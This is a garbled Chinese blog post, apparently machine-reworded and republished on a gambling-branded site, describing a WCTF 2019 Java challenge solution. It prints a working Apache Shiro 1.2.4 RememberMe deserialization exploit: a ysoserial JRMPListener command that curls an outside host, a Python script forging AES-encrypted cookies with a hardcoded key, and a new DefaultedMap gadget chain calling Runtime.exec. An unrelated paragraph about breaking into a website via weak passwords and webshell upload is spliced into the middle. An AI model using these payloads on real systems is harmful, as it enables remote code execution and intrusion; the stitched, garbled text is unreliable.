Commons Collections3 新Map应用发掘(WCTF出题笔记) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Commons Collections3 新Map应用发掘(WCTF出题笔记)

申博_安全防护 申博 72次浏览 未收录 0个评论

在WCTF 2019中,每支部队请求设想两道题目,我介入了个中一道题目的部份设想,重要为Java平安。

题目的应用思绪可总结为:

  1. shiro 1.2.4反序列化应用
  2. Commons Collections新应用链的发掘

赛后有两支部队解出了该题目,分别是217和r3kapig,然则经由相识,比较遗憾的是,都是经由历程应用CommonsBeanutils的非预期解出的,这篇文章就重要说说预期解法。

第一部份的shiro 1.2.4的反序列化应用是一个老洞了,重要应用思绪就是,在已知加密密钥的情况下,能够捏造RememberMe的Cookie,同时,该Cookie实质上是序列化过的数据,因而当我们已知密钥时,能够组织恣意反序列化数据。

题目供应了jar文件,在pom.xml文件中,很清楚地能够看到commons-collections-3.2.1以及shiro1.2.4,而营业功用则是规范的shiro认证流程,因而shiro应用阶段异常简朴:

应用jar文件中走漏的硬编码密钥捏造反序列化数据

直接经由历程组织反序列化RCE在本题中是行不通的,个中细节在Orange的博客中有细致的形貌,因为不是本文的重点,因而这里直接给出链接,就不再细说。

经由历程ysoserial的JRMPListener,我们能够应用CommonsCollections来完成对shiro的进击。经由历程下面这条敕令我们能新建一个JRMPListener:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections7 "curl http://x2wugy.ceye.io/?aaaa"

天生序列化cookie的剧本为:

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "TWthODIwaVk4MmtpVTdkTg=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print(payload)

将key替换为题目中硬编码的key,再运行上面的剧本,便能够获得JRMPClient的序列化数据,替换掉题目中的cookie,便能触发反序列化。

记一次有趣的渗透测试

别人都放假了我们却还在小学期中,这两天女朋友老是抱怨小学期作业难做,然后她今天发现淘宝上有人花钱代做,遂发来网址让我看看 咱也不知道,咱也不敢问 然后反手一个弱口令进了后台 其实这个站有注入,不过既然进了后台,那肯定要去shell啊,找了个学生的账号登陆进入发现了头像上传点可以任意文件上传 直接传了个大马,执行命令看下权限 这权限也太小了吧,先来提权,看下补丁 这还不随便打了,传了几个提权exe之后发现都执行

当我们运用ysoserial构建payload会发明一个题目,那就是ysoserial中已有的CommonsCollections3.2.1相干payload都是不可用的,因而便须要我们从新发掘一个不同于LazyMap和TransformedMap的CommonsCollections应用体式格局。

接下来则是怎样寻觅一个有用的gadget完成反序列化的应用。
commons-collections3.2.1公然的几个应用链是:

  1. LazyMap
  2. TransformedMap

而该题目的采取了一些异常暴力的体式格局将LazyMap和TransformedMap的链举行了摘除,此时就须要选手发掘出一条新的commons-collections应用链。
怎样发掘新的链呢?我们能够参考LazyMap的exploit组织历程,连系网上已有的诸多材料,我们能够将LazyMap的挪用流程归结为以下几步:

  1. BadAttributeValueExpException.readObject
  2. TiedMapEntry.toString
  3. TiedMapEntry.getValue
  4. LazyMap.get
  5. ChainedTransformer.transform
  6. InvokerTransformer.transform

因而我们目的就能够缩小至寻觅一个Map,在这个Map中,挪用了transformer.transform,而且transformer的值可控,那末我们便有能够找到这么一个Map。

实际情况是确切存在一个Map满足以上前提:DefaultedMap

DefaultedMap与LazyMap相似,都是在get要领中挪用transform,而且挪用transform要领的对象都是可控的transformer,所以此时对我们而言,DefaultedMap的应用链和LazyMap的应用链险些一致。其挪用流程可归结为:

  1. BadAttributeValueExpException.readObject
  2. TiedMapEntry.toString
  3. TiedMapEntry.getValue
  4. DefaultedMap.get
  5. ChainedTransformer.transform
  6. InvokerTransformer.transform

因为其挪用流程和LazyMap高度相似,因而我们能够直接在ysoserial中LazyMap相干payload的基础上举行小改。

在ysoserial中,我们新增一个名为CommonsCollections7的payload作为DefaultedMap的payload,完成体式格局参照LazyMap举行编写:

public BadAttributeValueExpException getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 
        return val;
    }

随后从新编译一份jar,运用这个新的CommonsCollections的payload起一个JRMPListener便能够完成进击了。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Commons Collections3 新Map应用发掘(WCTF出题笔记)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址